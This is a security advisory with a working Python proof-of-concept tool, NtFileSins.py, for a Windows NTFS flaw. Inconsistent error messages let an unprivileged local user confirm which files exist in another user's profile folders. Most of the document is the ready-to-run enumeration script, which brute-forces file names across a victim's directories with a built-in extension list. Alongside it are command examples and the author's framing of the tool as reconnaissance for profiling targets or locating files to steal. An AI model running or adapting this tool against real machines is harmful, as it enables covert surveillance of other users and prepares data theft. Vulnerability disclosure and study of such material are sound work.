Microsoft Windows NTFS Privileged File Access Enumeration

2019.09.06
us hyp3rlinx (US) us
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-NTFS-PRIVILEGED-FILE-ACCESS-ENUMERATION.txt [+] ISR: ApparitionSec [Vendor] www.microsoft.com [Product] Windows NTFS NTFS is a proprietary journaling file system developed by Microsoft. Starting with Windows NT 3.1, it is the default file system of the Windows NT family. [Vulnerability Type] Privileged File Access Enumeration [CVE Reference] N/A [Security Issue] Attackers possessing user-only rights can gather intelligence or profile other user account activities by brute forcing a correct file name. This is possible because Windows returns inconsistent error messages when accessing unauthorized files that contain a valid extension or have a "." (dot) as part of the file or folder name. Typically, you see enumeration in web-application attacks which target account usernames. In this case we are targeting the filenames of other users, maybe we need to locate files up front that we wish to steal possibly prior to launching say an XXE exploit to steal those files or maybe we just passively sniff the accounts directories to profile the mark and or learn their daily activities. Standard account users attempting to open another users files or folders that do not contain a valid extension or dot "." in its filename are always issued the expected "Access is denied" system error message. However, for files that contain a (dot) in the filename and that also don't exist, the system echoes the following attacker friendly warning: "The system cannot find the file". This error message inconsistency allows attackers to infer files EXIST, because any other time we would get "The system cannot find the file". Example, the Windows commands DIR or TYPE always greet attackers with an expected "Access is denied" message, whether the file exists or not. This helps protect users from having their local files known to attackers, since the system returns the same message regardless if files exist or not when using those commands. Those commands output messages are not affected by the file having a valid extension or not. However, we can bypass that protection by avoiding the Windows DIR or TYPE commands and instead attempt to directly open any inaccessible users file on the command line much like calling a program and pressing the enter key. After the Win32 API function CreateFile is called an it returns either: 1) "The system cannot find the file" 2) "Access is denied" c:\>c:\Users\privileged-victim\Contacts\Hubert Dingleberry.contact The system cannot find the file <==== DOES NOT EXIST c:\>C:\Users\noprivs>c:\Users\privileged-victim\Contacts\Toolio McDoucheLeroy.contact Access is denied. <===== EXISTS c:\>C:\Users\noprivs>c:\Users\privileged-victim\Contacts\Toolio McDoucheLeroy.con The system cannot find the file <==== DOES NOT EXIST c:\>C:\Users\noprivs>c:\Users\privileged-victim\Contacts\whatever Access is denied. <===== FALSE POSITIVE NO EXTENSION PRESENT IN THE FILENAME From a defensive perspective we can leverage this to try to detect basic IOC and malware artifacts like .tmp, .ini, .dll, .exe or related config files on disk with user-only rights, instead of authenticating with admin rights as a quick paranoid first pass. Example, if malware hides itself by unlinking themselves from the EPROCESS list in memory or using programs like WinRAP to hide processess from Windows TaskMgr, we may not discover them even if using tasklist command. The EPROCESS structure and flink/blink is how Windows TaskMgr shows all running processes. However, we may possibly detect them by testing for the correct IOC name if the malicious code happens to reside on disk and not only in memory. Whats cool is we can be do this without the need for admin rights. Other Windows commands that will also let us confirm file existence by comparing error messages are start, call, copy, icalcs, and cd. However, Windows commands rename, ren, cacls, type, dir, erase, move or del commands will issue flat out "Access is denied" messages. Previously, MSRC recommended using ABE. However, that feature is only for viewing files and folders in a shared folder, not when viewing files or folders in the local file system. Tested successfully Win7/10 [Exploit/POC] "NtFileSins.py" from subprocess import Popen, PIPE import sys,argparse,re # Windows File Enumeration Intel Gathering. # Standard users can prove existence of privileged user artifacts. # # Typically, the Windows commands DIR or TYPE hand out a default "Access Denied" error message, # when a file exists or doesn't exist, when restricted access is attempted by another user. # # However, accessing files directly by attempting to "open" them from cmd.exe shell, # we can determine existence by compare inconsistent Windows error messages. # # Requirements: 1) target users with >= privileges. # 2) artifacts must contain a dot "." or returns false positives. # # Windows message "Access Denied" = Exists # Windows message "The system cannot find the file" = Not exists # Windows returns "no message" OR "c:\victim\artifact is not recognized as an internal or external command, # operable program or batch file" = Admin to Admin so this script is not required. # # Profile other users by compare ntfs error messages to potentially learn their activities or machines purpose. # For evil or maybe check for basic malware IOC existence on disk with user-only rights. # #=====================================================================# # NtFileSins.py - Windows File Enumeration Intel Gathering Tool. # # By John Page (aka hyp3rlinx) # # Apparition Security # #=====================================================================# BANNER=''' _ _______________ __ _____ _ / | / /_ __/ ____(_) /__ / ___/(_)___ _____ / |/ / / / / /_ / / / _ \\__ \ / / __ \/ ___/ / /| / / / / __/ / / / __/__/ / / / / (__ ) /_/ |_/ /_/ /_/ /_/_/\___/____/_/_/ /_/____/ By hyp3rlinx ApparitionSec ''' sin_cnt=0 found_set=set() ARTIFACTS_SET=set() ROOTDIR = "c:/Users/" USER_DIRS=["Contacts","Desktop","Downloads","Favorites","My Documents","Searches","Videos/Captures", "Pictures","Music","OneDrive","OneDrive/Attachments","OneDrive/Documents"] APPDATA_DIR=["AppData/Local/Temp"] EXTS = set([".contact",".url",".lnk",".search-ms",".exe",".csv",".txt",".ini",".conf",".config",".log",".pcap",".zip",".mp4",".mp3", ".bat", ".wav",".docx",".pptx",".reg",".vcf",".avi",".mpg",".jpg",".jpeg",".png",".rtf",".pdf",".dll",".xml",".doc",".gif",".xls",".wmv"]) REPORT="NtFileSins_Log.txt" def usage(): print "NtFileSins is a privileged file access enumeration tool to search multi-account artifacts without admin rights.\n" print '-u victim -d Searches -a "MS17-020 - Google Search.url"' print '-u victim -a "<name.ext>"' print "-u victim -d Downloads -a <name.ext> -s" print '-u victim -d Contacts -a "Mike N.contact"' print "-u victim -a APT.txt -b -n" print "-u victim -d Desktop/MyFiles -a <.name>" print "-u victim -d Searches -a <name>.search-ms" print "-u victim -d . -a <name.ext>" print "-u victim -d desktop -a inverted-crosses.mp3 -b" print "-u victim -d Downloads -a APT.exe -b" print "-u victim -f list_of_files.txt" print "-u victim -f list_of_files.txt -b -s" print "-u victim -f list_of_files.txt -x .txt" print "-u victim -d desktop -f list_of_files.txt -b" print "-u victim -d desktop -f list_of_files.txt -x .rar" def parse_args(): parser.add_argument("-u", "--user", help="Privileged user target") parser.add_argument("-d", "--directory", nargs="?", help="Specific directory to search <e.g. Downloads>.") parser.add_argument("-a", "--artifact", help="Single artifact we want to verify exists.") parser.add_argument("-t", "--appdata", nargs="?", const="1", help="Searches the AppData/Local/Temp directory.") parser.add_argument("-f", "--artifacts_from_file", nargs="?", help="Enumerate a list of supplied artifacts from a file.") parser.add_argument("-n", "--notfound", nargs="?", const="1", help="Display unfound artifacts.") parser.add_argument("-b", "--built_in_ext", nargs="?", const="1", help="Enumerate files using NtFileSin built-in ext types, if no extension is found NtFileSins will switch to this feature by default.") parser.add_argument("-x", "--specific_ext", nargs="?", help="Enumerate using specific ext, e.g. <.exe> using a supplied list of artifacts, a supplied ext will override any in the supplied artifact list.") parser.add_argument("-s", "--save", nargs="?", const="1", help="Saves successfully enumerated artifacts, will log to "+REPORT) parser.add_argument("-v", "--verbose", nargs="?", const="1", help="Displays the file access error messages.") parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show example usage.") return parser.parse_args() def access(j): result="" try: p = Popen([j], stdout=PIPE, stderr=PIPE, shell=True) stderr,stdout = p.communicate() result = stdout.strip() except Exception as e: #print str(e) pass return result def artifacts_from_file(artifacts_file, bflag, specific_ext): try: f=open(artifacts_file, "r") for a in f: idx = a.rfind(".") a = a.strip() if a != "": if specific_ext: if idx==-1: a = a + specific_ext else: #replace existing ext a = a[:idx] + specific_ext if bflag: ARTIFACTS_SET.add(a) else: ARTIFACTS_SET.add(a) f.close() except Exception as e: print str(e) exit() def save(): try: f=open(REPORT, "w") for j in found_set: f.write(j+"\n") f.close() except Exception as e: print str(e) def recon_msg(s): if s == 0: return "Access is denied." else: return "\t[*] Artifact exists ==>" def echo_results(args, res, x, i): global sin_cnt if res=="": print "\t[!] No NTFS message, you must already be admin, then this script is not required." exit() if "not recognized as an internal or external command" in res: print "\t[!] You must target users with higher privileges than yours." exit() if res != recon_msg(0): if args.verbose: print "\t"+res else: if args.notfound: print "\t[-] not found: " + x +"/"+ i else: sin_cnt += 1 if args.save: found_set.add(x+"/"+i) if args.verbose: print recon_msg(1)+ x+"/"+i print "\t"+res else: print recon_msg(1)+ x+"/"+i def valid_artifact_name(sin,args): idx = "." in sin if re.findall(r"[/\\*?:<>|]", sin): print "\t[!] Skipping: disallowed file name character." return False if not idx and not args.built_in_ext and not args.specific_ext: print "\t[!] Warning: '"+ sin +"' has no '.' in the artifact name, this can result in false positives." print "\t[+] Searching for '"+ sin +"' using built-in ext list to prevent false positives." if not args.built_in_ext: if sin[-1] == ".": print "\t[!] Skipping: "+sin+" non valid file name." return False return True def search_missing_ext(path,args,i): for x in path: for e in EXTS: res = access(ROOTDIR+args.user+"/"+x+"/"+i+e) echo_results(args, res, x, i+e) def ntsins(path,args,i): if i.rfind(".")==-1: search_missing_ext(path,args,i) i="" for x in path: if i != "": if args.built_in_ext: for e in EXTS: res = access(ROOTDIR+args.user+"/"+x+"/"+i+e) echo_results(args, res, x, i+e) elif args.specific_ext: idx = i.rfind(".") if idx == -1: i = i + "." else: i = i[:idx] + args.specific_ext res = access(ROOTDIR+args.user+"/"+x+"/"+i) echo_results(args, res, x, i) def search(args): print "\tSearching...\n" global ROOTDIR, USER_DIRS, ARTIFACTS_SET if args.artifact: ARTIFACTS_SET = set([args.artifact]) for i in ARTIFACTS_SET: idx = i.rfind(".") + 1 if idx and args.built_in_ext: i = i[:idx -1:None] if len(i) > 0 and i != None: if valid_artifact_name(i,args): #specific user dir search if args.directory: single_dir=[args.directory] ntsins(single_dir,args,i) #search appdata dirs elif args.appdata: ntsins(APPDATA_DIR,args,i) #all default user dirs else: ntsins(USER_DIRS,args,i) if args.save and len(found_set) != 0: save() def check_dir_input(_dir): if len(re.findall(r":", _dir)) != 0: print "[!] Check the directory arg, NtFileSins searches under c:/Users/target by default see Help -h." return False return True def main(args): if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) if args.examples: usage() exit() if not args.user: print "[!] No target user specified see Help -h" exit() if args.appdata and args.directory: print "[!] Multiple search directories supplied see Help -h" exit() if args.specific_ext: if "." not in args.specific_ext: print "[!] Must use full extension e.g. -x ."+args.specific_ext+", dot in filenames mandatory to prevent false positives." exit() if args.artifact and args.artifacts_from_file: print "[!] Multiple artifacts specified, use just -f or -a see Help -h" exit() if args.built_in_ext and args.specific_ext: print "\t[!] Both specific and built-in extensions supplied, use only one." exit() if args.specific_ext and not args.artifacts_from_file: print "\t[!] -x to be used with -f flag only see Help -h." exit() if args.artifact: if args.artifact.rfind(".")==-1: print "\t[!] Artifacts must contain a .ext or will result in false positives." exit() if args.directory: if not check_dir_input(args.directory): exit() if args.artifacts_from_file: artifacts_from_file(args.artifacts_from_file, args.built_in_ext, args.specific_ext) if not args.artifact and not args.artifacts_from_file: print "[!] Exiting, no artifacts supplied see Help -h" exit() else: search(args) print "\n\tNtFileSins Detected "+str(sin_cnt)+ " out of %s" % str(len(ARTIFACTS_SET)) + " Sins.\n" if not args.notfound: print "\tuse -n to display unfound enumerated files." if not args.built_in_ext: print "\tfor extra search coverage try -b flag or targeted artifact search -a." if __name__ == "__main__": print BANNER parser = argparse.ArgumentParser() main(parse_args()) [POC Video URL] https://www.youtube.com/watch?v=rm8kEbewqpI [Network Access] Remote/Local [Severity] Low [Disclosure Timeline] Vendor Notification: July 29, 2019 MSRC "does not meet the bar for security servicing" : July 29, 2019 September 5, 2019 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx


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